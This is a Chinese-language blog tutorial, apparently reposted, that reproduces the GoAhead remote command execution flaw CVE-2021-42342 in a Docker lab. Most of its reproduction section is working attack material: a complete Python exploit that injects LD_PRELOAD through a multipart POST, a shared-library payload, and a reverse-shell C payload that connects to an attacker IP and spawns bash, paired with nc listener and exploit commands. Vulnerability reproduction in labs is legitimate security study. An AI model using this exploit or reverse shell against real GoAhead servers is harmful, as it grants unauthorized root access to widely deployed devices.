GoAhead远程命令执行漏洞(CVE-2021-42342)
目录
GoAhead远程命令执行漏洞(CVE-2021-42342)
漏洞描述
漏洞复现
启动环境
复现漏洞
漏洞描述
漏洞主要是由于上传过滤器没有设置不受信任的var位绕过CGI处理程序的前缀检测,渗透人员可以利用这个漏洞在未授权的情况下,构造恶意程序数据执行远程命令执行攻击,进而获得服务器的最高权限。
具体成因则是GoAhead在处理CGI请求时,将用户传入的的参数作为环境变量了。这样,通过参数LD_PRELOAD就可以劫持CGI进程的动态链接库,进而执行任意代码。并且本漏洞实际上是对CVE-2017-17562的一次绕过。
补丁对用户传入参数进行了黑名单过滤,LD_PRELOAD这类参数不再设置为环境变量。但由于这个限制使用错了函数,导致实际上并没有生效
并且补丁还将用户传入的参数名前面增加了前缀,导致无法劫持任意环境变量。但这个限制漏掉了multipart的POST包,所以攻击者通过这个方式仍然可以注入任意环境变量。
在2021年5月份GoAhead默认将CGI相关的配置注释了,所以新版本的GoAhead默认没有开启CGI配置,并且老版本如果没有cgi-bin目录,或者里面没有cgi文件,也不受这个漏洞影响。
漏洞影响版本为:
- 4.0.0<= GoAhead <= 4.1.2
- 5.0.0<= GoAhead < 5.1.5
GoAhead在IBM、HP、Oracle、波音、D-link、摩托罗拉等厂商产品中广泛使用,所以该漏洞的影响范围非常广泛。
漏洞复现
启动环境
方法一、docker启环境
利用vulhub搭建漏洞环境,
下载安装vulhub,解压进入CVE-2021-42342目录下:
vulhub-master/goahead/CVE-2021-42342
启动环境:
docker-compose up -d
查看端口和IP(网卡eth0):
docker ps -a或docker-compose ps -a
浏览器访问IP和端口,出现如下页面代表访问成功
方法二、使用vulfocus
搜索CVE-2021-42342,启动环境,直接访问
复现漏洞
一、执行恶意代码
1、随便创建个目录,新建两个文件:poc.py、poc.c,代码如下:
下载poc.py(直接复制(如下图)或下载文件都可)
vulhub/poc.py at master · vulhub/vulhub · GitHub
poc.py代码如下:
import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResultPAYLOAD_MAX_LENGTH = 16384 - 200
def exploit(client, parts: ParseResult, payload: bytes):
path = '/' if not parts.path else parts.path
boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
padding = 'a' * 2000
content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain#payload#{padding}
--{boundary}--
'''.replace('\n', '\r\n')
data = data.encode().replace(b'#payload#', payload)
client.send(data)
resp = client.recv(20480)
print(resp.decode())
def main():
target = sys.argv[1]
payload_filename = sys.argv[2]with open(payload_filename, 'rb') as f:
data = f.read()if len(data) > PAYLOAD_MAX_LENGTH:
raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)parts = urlparse(target)
port = parts.port
if not parts.port:
if parts.scheme == 'https':
port = 443
else:
port = 80context = ssl.create_default_context()
with socket.create_connection((parts.hostname, port), timeout=8) as client:
if parts.scheme == 'https':
with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
exploit(ssock, parts, data)else:
exploit(client, parts, data)
if __name__ == '__main__':
main()
编写打印测试文件的poc代码如下(poc.c)
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World\r\n\r\n", 16);
write(1, "Hacked\n", 7);
}
2、生成payload.so文件(gcc版本不能太低):
使用gcc进行编译poc1.c中的代码,这样,before_main函数将在程序执行前被调用
gcc -s -shared -fPIC ./poc1.c -o payload.so
3、赋予payload.so、poc.py、poc.c等三个文件所有权限(777)。
4、然后,我们使用这个脚本来发送恶意数据包:(Python必须3.6以上才行)
python3 poc.py http://ip:端口号/cgi-bin/index payload.so
二、反弹shell
1、创建文件shell.c,放入下面的代码
反弹shell的poc代码如下(shell.c):
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="172.17.0.1";/*The server which accepts shell*/
uint32_t server_port=7777;/*The port which you listen to*/
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/bash", 0, 0);
}
2、编译以上代码
gcc -s -shared -fPIC ./shell.c -o shell.so
3、注意要给shell.so和shell.c所有权限(777)
4、在对应的ip端口上开启监听(开启另一个终端)
nc -lvnp 7777
5、执行payload,此时页面会显示500报错,(在执行脚本时可能会报错,但没有影响,不过我操作时没报错)
python3 poc.py http://靶机-ip:靶机端口号/cgi-bin/index shell.so
6、查看监听端口的终端,会发现有建里连接:
7、输入whoami命令显示自身用户名称,可以看到是root用户,成功触发RCE
注意:
获取shell时,如果攻击机与靶机不是同一台机器,则需要把shell.c中的IP更换成攻击机的IP,端口号可不做更改(与攻击机监听的端口号一致)!
参考:
CVE-2021-42342漏洞复现及docker环境搭建_li2na1的博客-CSDN博客_docker 漏洞环境搭建文章来源:https://www.toymoban.com/news/detail-483389.html
https://github.com/vulhub/vulhub/blob/master/goahead/CVE-2021-42342(poc.py、shell.c、payload.c都在这里)文章来源地址https://www.toymoban.com/news/detail-483389.html
到了这里,关于GoAhead远程命令执行漏洞(CVE-2021-42342)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!